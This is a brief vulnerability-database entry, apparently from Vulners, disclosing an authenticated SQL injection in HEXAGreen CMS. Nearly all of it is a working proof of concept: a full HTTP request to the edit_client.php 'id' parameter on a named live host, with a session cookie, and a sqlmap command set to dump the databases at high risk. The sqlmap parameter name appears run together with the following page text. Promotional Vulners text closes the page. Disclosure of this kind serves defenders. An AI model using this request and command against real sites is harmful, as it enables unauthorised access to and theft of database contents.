Title: HEXAGreen CMS - Authenticated SQLi
Description: HEXAGreen CMS authenticated error-based sql injection
Source URL: http://ezcode.pt/tests/hexagreen/admin/
Source Name/Email: Mehmet Can Kadıoğlu a.k.a mao7un
CVEs: N/A
Software URL: https://www.codester.com/items/36507/hexagreen-website-cms
PoC:
----------------------------------------------------------------------------------------------------------------
GET /tests/hexagreen/admin/edit_client.php?id=14 HTTP/2
Host: ezcode.pt
Cookie: PHPSESSID=kqd905v3pv99j7ko1ut6i2dbd6
Sec-Ch-Ua: "Not-A.Brand";v="99", "Chromium";v="124"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
----------------------------------------------------------------------------------------------------------------
save this request
sqlmap -r sqli.request --dbms mysql --dbs --batch --level 2 --risk 3
--time-sec 10 -p idData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation